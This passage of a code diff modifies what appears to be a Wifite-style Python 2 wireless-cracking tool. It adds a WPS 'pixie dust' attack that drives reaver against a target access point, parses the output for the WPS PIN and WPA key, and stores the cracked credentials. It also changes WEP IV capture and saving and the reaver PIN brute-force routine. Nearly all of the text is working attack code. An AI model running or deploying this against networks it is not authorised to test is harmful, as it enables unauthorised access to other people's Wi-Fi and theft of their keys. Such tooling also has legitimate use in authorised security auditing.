filename.endswith('.cap'): remove_file(filename) - remove_airodump_files(self.RUN_CONFIG.temp + 'wep') - remove_file(self.RUN_CONFIG.temp + 'wepkey.txt') + remove_airodump_files(self.dump_file_prefix) + remove_file(self.key_file) print '' if response == 'e': self.RUN_CONFIG.exit_gracefully(0) @@ -2996,10 +3830,11 @@ def attack_wep(self): # Continue attacks # Need to backup temp/wep-01.cap and remove airodump files i = 2 - while os.path.exists(self.RUN_CONFIG.temp + 'wep-' + str(i) + '.cap'): + while os.path.exists(self.dump_file_prefix + '-' + str(i) + ext): i += 1 - copy(self.RUN_CONFIG.temp + "wep-01.cap", self.RUN_CONFIG.temp + 'wep-' + str(i) + '.cap') - remove_airodump_files(self.RUN_CONFIG.temp + 'wep') + new_filename=self.dump_file_prefix + '-' + str(i) + ext + copy(self.dump_file_prefix + "-01" + ext, new_filename) + remove_airodump_files(self.dump_file_prefix) # Need to restart airodump-ng, as it's been interrupted/killed proc_airodump = Popen(cmd_airodump, stdout=DN, stderr=DN) @@ -3008,7 +3843,6 @@ def attack_wep(self): started_cracking = False # Reset IVs counters for proper behavior - total_ivs += ivs ivs = 0 last_ivs = 0 @@ -3019,6 +3853,10 @@ def attack_wep(self): print GR + '\n [0:00:00]' + W + ' attack complete: ' + G + 'success!' + W else: print GR + '\n [0:00:00]' + W + ' attack complete: ' + R + 'failure' + W + + if self.RUN_CONFIG.WEP_SAVE and ivs > 0: + # Save packets + self.save_wep_packet(self.target, self.RUN_CONFIG.WEP_SAVE_IV, ivs) send_interrupt(proc_airodump) if proc_aireplay != None: @@ -3028,8 +3866,68 @@ def attack_wep(self): for filename in os.listdir('.'): if filename.startswith('replay_arp-') and filename.endswith('.cap'): remove_file(filename) - remove_airodump_files(self.RUN_CONFIG.temp + 'wep') - remove_file(self.RUN_CONFIG.temp + 'wepkey.txt') + remove_airodump_files(self.dump_file_prefix) + remove_file(self.key_file) + def print_progress(self, current_hms, time_started, ivs, past_total_ivs): + total_ivs= past_total_ivs + ivs + time_elapsed=time.time()-time_started + ivs_required=(self.RUN_CONFIG.WEP_CRACK_AT_IVS - total_ivs) + if time_elapsed == 0: + speed= "??" + time_required=sec_to_hms(-1) + else: + speed=ivs/time_elapsed + if speed == 0: + time_required=sec_to_hms(-1) + else: + time_required=sec_to_hms(ivs_required/speed) + speed=str(int(speed)) + print '\r %s total %s%d%s ivs, %s%d%s from past attack, %s%d%s captured in this attack @ %s%s%s iv/sec, additional %s%d%s ivs or %s%s%s required before cracking' % ( + GR + current_hms + W, G, total_ivs, W, G,past_total_ivs,W, G,ivs, W, G,speed,W,G,ivs_required,W,G,time_required,W), + stdout.flush() + time.sleep(1) + def count_ivs(self,f): + csv = self.RUN_CONFIG.RUN_ENGINE.parse_csv(f)[0] + ivs=0 + if len(csv) > 0: + ivs = int(csv[0].data) + return ivs + + def count_target_ivs(self,target): + path=self.RUN_CONFIG.WEP_IVS_DIR + + files=glob.glob(path + str(self.target) + "*.csv") + println_debug("looking for past ivs from '%s', %d found" % (G + path + str(self.target) + "*.csv" + W, len(files))) + total_ivs=0 + for f in files: + total_ivs += self.count_ivs(f) + println_debug("file %s has %d ivs" % (G+f+W, self.count_ivs(f))) + return total_ivs + def save_wep_packet(self,target, is_ivs, ivs): + ext='.cap' + if is_ivs: + ext='.ivs' + try: + path=self.RUN_CONFIG.WEP_IVS_DIR + os.mkdir(path) + except OSError: + pass + i=1 + while True: + save_as = path + str(target) + '_' + str(i) + if not os.path.exists(save_as + '.ivs') and not os.path.exists(save_as + '.cap'): + break + i+=1 + try: + + rename(self.RUN_CONFIG.temp + str(target) + '-01' + ext, save_as + ext) + rename(self.RUN_CONFIG.temp + str(target) + '-01' + '.csv', save_as + '.csv') + println_info(('%s%d%s IVs packet captured are saved to ' + G + save_as + ext + '/.csv') % (G,ivs,W)) + + except OSError: + println_error('unable to save capture file!') + #else: + def wep_fake_auth(self, iface, target, time_to_display): """ @@ -3183,17 +4081,56 @@ def wep_send_deauths(self, iface, target, clients): ################# # WPS FUNCTIONS # ################# + class WPSAttack(Attack): def __init__(self, iface, target, config): self.iface = iface self.target = target self.RUN_CONFIG = config - + self.log_filename = self.RUN_CONFIG.temp + str(self.target) + '.reaver.pixie.log' + self.processes = [] + self.session_filename=self.get_reaver_session_filename(self.target) + self.session_filename_with_path=self.RUN_CONFIG.WPS_SESSION_DIR + self.session_filename + # Redirect stderr to output file + self.log = open(self.log_filename, 'a') + + try: + os.mkdir(self.RUN_CONFIG.WPS_SESSION_DIR) + except OSError: + pass def RunAttack(self): ''' Abstract method for initializing the WPS attack ''' - self.attack_wps() + self.time_started=time.time() + success = False + try: + if not self.RUN_CONFIG.WPS_DUST_ATTACK_DISABLE and self.is_pixie_supported(): + # Try the pixie-dust attack + self.attack_wps_pixie() + while(self.is_attacking_pixie() and not self.is_done_pixie()): + time.sleep(1) + print '\r %s WPS pixie dust attack in progress...' % (GR + sec_to_hms(time.time() - self.time_started) + G), + stdout.flush() + (pin,key)=self.parse_log_for_keys() + if pin != "" or key != "": + self.target.key = key + self.target.wps = pin + self.RUN_CONFIG.save_cracked(self.target) + success=True + else: + print '\r %s WPS pixie dust attack%s failed - WPS pin not found %s' % (GR + sec_to_hms(time.time() - self.time_started) + G, R, W) + if not self.RUN_CONFIG.WPS_PIN_ATTACK_DISABLE and not success: + # Try the WPS PIN attack + success=self.attack_wps() + return success + except KeyboardInterrupt: + print R + '\n (^C)' + O + ' WPS pixie dust attack interrupted' + W + if attack_interrupted_prompt(): + send_interrupt(self.processes) + print '' + self.RUN_CONFIG.exit_gracefully(0) + send_interrupt(self.processes) def EndAttack(self): ''' @@ -3201,6 +4138,168 @@ def EndAttack(self): ''' pass + def is_pixie_supported(self): + ''' + Checks if current version of Reaver supports the pixie-dust attack + ''' + p = Popen(['reaver', '-h'], stdout=DN, stderr=PIPE) + stdout = p.communicate()[1] + for line in stdout.split('\n'): + if '--pixie-dust' in line: + return True + return False + + def attack_wps_pixie(self): + """ + Attempts "Pixie WPS" attack which certain vendors + susceptible to. + """ + log_filename=self.log_filename + session_filename=self.session_filename + session_filename_with_path=self.session_filename_with_path + + print GR + ' [0:00:00]' + W + ' %s ' % \ + (get_start_message('WPS pixie dust attack', self.target)) + cmd = ['reaver', + '-i', self.iface.iface, + '-b', self.target.bssid, + #'-o', log_filename, # Dump output to file to be monitored + '-c', self.target.channel, + #'-S', + #'-n', + '-K', '1', # Pixie WPS attack + '-vvv'] # verbose output + + # if saving reaver session file enabled, find the session file + if self.RUN_CONFIG.WPS_SAVE: + cmd += ['-s', session_filename_with_path] + filename='/usr/local/etc/reaver/' + session_filename + if not os.path.exists(session_filename_with_path) and os.path.exists(filename): + proc=Popen(['cp',filename,session_filename_with_path], stdout=DN, stderr=DN) + proc.wait() + + # Start process + proc = Popen(cmd, stdout=self.log, stderr=self.log) + self.processes.append(proc) + return True + def is_attacking_pixie(self): + for p in self.processes: + #print p.pid,p.returncode,p.poll() + if p.poll() != None: + return False + return True + def is_done_pixie(self): + if os.path.exists(self.log_filename): + inf = open(self.log_filename, 'r') + buff=inf.read() + inf.close() + #print buff.find("Nothing done,") , buff.find("WPS pin not found") , buff.find("WPS PIN:") + return buff.find("WPS pin not found") != -1 or buff.find("WPS PIN:") != -1 # buff.find("Nothing done,") != -1 or + return False + def parse_log_for_keys(self): + pin = "" + key = "" + if os.path.exists(self.log_filename): + inf = open(self.log_filename, 'r') + lines = inf.read().split('\n') + inf.close() + + for line in lines: + # When it's cracked: + if line.find("WPS PIN: '") != -1: + pin = line[line.find("[+] WPS PIN: '"):-1] + if line.find("WPA Key: '") != -1: + key = line[line.find("[+] WPA Key found: '"):-1] + return (pin,key) + + def is_cracked_pixie(self): + log_filename = self.log_filename + cracked = False # Flag for when password/pin is found + time_started = time.time() + pin = '' + key = '' + + try: + while not cracked: + time.sleep(1) + self.log.flush() + if self.processes[0].poll() != None: + # Process stopped: Cracked? Failed? + self.log.close() + inf = open(log_filename, 'r') + lines = inf.read().split('\n') + inf.close() + for line in lines: + # When it's cracked: + if line.find("WPS PIN: '") != -1: + pin = line[line.find("WPS PIN: '") + 10:-1] + if line.find("WPA PSK: '") != -1: + key = line[line.find("WPA PSK: '") + 10:-1] + cracked = True + # When it' failed: + if 'Pixie-Dust' in line and 'WPS pin not found' in line: + # PixieDust isn't possible on this router + print '\r %s WPS pixie dust attack%s failed - WPS pin not found %s' % (GR + sec_to_hms(time.time() - time_started) + G, R, W) + break + break + + print '\r %s WPS pixie dust attack in progress...' % (GR + sec_to_hms(time.time() - time_started) + G), + # Check if there's an output file to parse + if not os.path.exists(log_filename): continue + inf = open(log_filename, 'r') + lines = inf.read().split('\n') + inf.close() + + output_line = '' + for line in lines: + line = line.replace('[+]', '').replace('[!]', '').replace('\0', '').strip() + if line == '' or line == ' ' or line == '\t': continue + if len(line) > 50: + # Trim to a reasonable size + line = line[0:47] + '...' + output_line = line + + if 'Sending M2 message' in output_line: + # At this point in the Pixie attack, all output is via stderr + # We have to wait for the process to finish to see the result. + print O, 'attempting to crack and fetch psk... ', W, + elif output_line != '': + # Print the last message from reaver as a "status update" + print C, output_line, W, ' ' * (50 - len(output_line)), + + stdout.flush() + + # Clear out output file + #inf = open(self.RUN_CONFIG.temp + 'out.out', 'w') + #inf.close() + + # End of big "while not cracked" loop + if cracked: + if pin != '': print GR + '\n\n [+]' + G + ' PIN found: %s' % (C + pin + W) + if key != '': print GR + ' [+] %sWPA key found:%s %s' % (G, W, C + key + W) + self.RUN_CONFIG.WPA_FINDINGS.append(W + "found %s's WPA key: \"%s\", WPS PIN: %s" % ( + G + self.target.ssid + W, C + key + W, C + pin + W)) + self.RUN_CONFIG.WPA_FINDINGS.append('') + + self.target.key = key + self.target.wps = pin + self.RUN_CONFIG.save_cracked(self.target) + + except KeyboardInterrupt: + print R + '\n (^C)' + O + ' WPS pixie dust attack interrupted' + W + if attack_interrupted_prompt(): + send_interrupt(self.processes) + print '' + self.RUN_CONFIG.exit_gracefully(0) + + send_interrupt(self.processes) + + # Delete the files + #os.remove(log_filename) + #os.remove(self.RUN_CONFIG.temp + "pixie.out") + return cracked + def get_reaver_session_filename(self,target): + return re.sub(r'[^a-zA-Z0-9]', '', target.bssid) + '.wpc'; def attack_wps(self): """ Mounts attack against target on iface. @@ -3208,17 +4307,32 @@ def attack_wps(self): Once PIN is found, PSK can be recovered. PSK is displayed to user and added to WPS_FINDINGS """ - print GR + ' [0:00:00]' + W + ' initializing %sWPS PIN attack%s on %s' % \ - (G, W, G + self.target.ssid + W + ' (' + G + self.target.bssid + W + ')' + W) - + print GR + ' [0:00:00]' + W + ' %s' % \ + (get_start_message('WPS PIN attack',self.target)) + println_warning("WPS PIN attack may takes several hours! Be patient!") + log_filename=self.RUN_CONFIG.temp + str(self.target) + '.reaver.log' + + + + session_filename=self.get_reaver_session_filename(self.target) + session_filename_with_path=self.RUN_CONFIG.WPS_SESSION_DIR + session_filename cmd = ['reaver', - '-i', self.iface, + '-i', self.iface.iface, '-b', self.target.bssid, - '-o', self.RUN_CONFIG.temp + 'out.out', # Dump output to file to be monitored + '-o', log_filename, # self.RUN_CONFIG.temp + str(self.target) + '.out', # Dump output to file to be monitored '-a', # auto-detect best options, auto-resumes sessions, doesn't require input! '-c', self.target.channel, # '--ignore-locks', '-vv'] # verbose output + + # if saving reaver session file enabled, find the session file + if self.RUN_CONFIG.WPS_SAVE: + cmd += ['-s', session_filename_with_path] + filename='/usr/local/etc/reaver/' + session_filename + if not os.path.exists(session_filename_with_path) and os.path.exists(filename): + proc=Popen(['cp',filename,session_filename_with_path], stdout=DN, stderr=DN) + proc.wait() + proc = Popen(cmd, stdout=DN, stderr=DN) cracked = False # Flag for when password/pin is found @@ -3239,7 +4353,7 @@ def attack_wps(self): if proc.poll() != None: # Process stopped: Cracked? Failed? - inf = open(self.RUN_CONFIG.temp + 'out.out', 'r') + inf = open(log_filename, 'r') lines = inf.read().split('\n') inf.close() for line in lines: @@ -3251,9 +4365,9 @@ def attack_wps(self): cracked = True break - if not os.path.exists(self.RUN_CONFIG.temp + 'out.out'): continue + if not os.path.exists(log_filename): continue - inf = open(self.RUN_CONFIG.temp + 'out.out', 'r') + inf = open(log_filename, 'r') lines = inf.read().split('\n') inf.close() @@ -3300,48 +4414,52 @@ def attack_wps(self): print '\r', else: print '%s complete (%s sec/att) \r' % (G + percent + W, G + aps + W), - + if self.RUN_CONFIG.WPS_TIMEOUT > 0 and (time.time() - last_success) > self.RUN_CONFIG.WPS_TIMEOUT: print R + '\n [!]' + O + ' unable to complete successful try in %d seconds' % ( self.RUN_CONFIG.WPS_TIMEOUT) - print R + ' [+]' + W + ' skipping %s' % (O + self.target.ssid + W) + print R + ' [+]' + W + ' skipping "%s" (%s)' % (O + self.target.ssid + W, O + self.target.bssid + W) break if self.RUN_CONFIG.WPS_MAX_RETRIES > 0 and retries > self.RUN_CONFIG.WPS_MAX_RETRIES: print R + '\n [!]' + O + ' unable to complete successful try in %d retries' % ( self.RUN_CONFIG.WPS_MAX_RETRIES) print R + ' [+]' + O + ' the access point may have WPS-locking enabled, or is too far away' + W - print R + ' [+]' + W + ' skipping %s' % (O + self.target.ssid + W) + print R + ' [+]' + W + ' skipping "%s" (%s)' % (O + self.target.ssid + W, O + self.target.bssid + W) break if self.RUN_CONFIG.WPS_RATIO_THRESHOLD > 0.0 and tries > 0 and ( float(tries) / tries_total) < self.RUN_CONFIG.WPS_RATIO_THRESHOLD: print R + '\n [!]' + O + ' successful/total attempts ratio was too low (< %.2f)' % ( self.RUN_CONFIG.WPS_RATIO_THRESHOLD) - print R + ' [+]' + W + ' skipping %s' % (G + self.target.ssid + W) + print R + ' [+]' + W + ' skipping "%s" (%s)' % (G + self.target.ssid + W, G + self.target.bssid + W) break stdout.flush() # Clear out output file if bigger than 1mb - inf = open(self.RUN_CONFIG.temp + 'out.out', 'w') + inf = open(log_filename, 'w') inf.close() - + + # End of big "while not cracked" loop + #Backup session file + if cracked: - if pin != '': print GR + '\n\n [+]' + G + ' PIN found: %s' % (C + pin + W) - if key != '': print GR + ' [+] %sWPA key found:%s %s' % (G, W, C + key + W) - self.RUN_CONFIG.WPA_FINDINGS.append(W + "found %s's WPA key: \"%s\", WPS PIN: %s" % ( - G + self.target.ssid + W, C + key + W, C + pin + W)) + if pin != '': println_info(G + ' PIN found: %s' % (C + pin + W)) + if key != '': println_info('%sWPA key found:%s %s' % (G, W, C + key + W)) + self.RUN_CONFIG.WPA_FINDINGS.append(W + "found %s (%s)'s WPA key: \"%s\", WPS PIN: %s" % ( + G + self.target.ssid + W, G + self.target.bssid + W, C + key + W, C + pin + W)) self.RUN_CONFIG.WPA_FINDINGS.append('') - t = Target(self.target.bssid, 0, 0, 0, 'WPA', self.target.ssid) - t.key = key - t.wps = pin - self.RUN_CONFIG.save_cracked(t) + self.target.key = key + self.target.wps = pin + self.RUN_CONFIG.save_cracked(self.target) except KeyboardInterrupt: print R + '\n (^C)' + O + ' WPS brute-force attack interrupted' + W + #Backup session file + if attack_interrupted_prompt(): send_interrupt(proc) print '' @@ -3357,11 +4475,25 @@ def attack_wps(self): try: banner(RUN_CONFIG) engine = RunEngine(RUN_CONFIG) + RUN_CONFIG.ConfirmCorrectPlatform() + RUN_CONFIG.ConfirmRunningAsRoot() + RUN_CONFIG.handle_args() + RUN_CONFIG.CreateTempFolder() + + if not engine.programs_check(): # Ensure required programs are installed. + RUN_CONFIG.exit_gracefully(1) engine.Start() + RUN_CONFIG.exit_gracefully(0) #main(RUN_CONFIG) except KeyboardInterrupt: print R + '\n (^C)' + O + ' interrupted\n' + W + RUN_CONFIG.exit_gracefully(1) except EOFError: print R + '\n (^D)' + O + ' interrupted\n' + W + RUN_CONFIG.exit_gracefully(1) + #except: + # RUN_CONFIG.exit_gracefully(1) + # raise + + - RUN_CONFIG.exit_gracefully(0)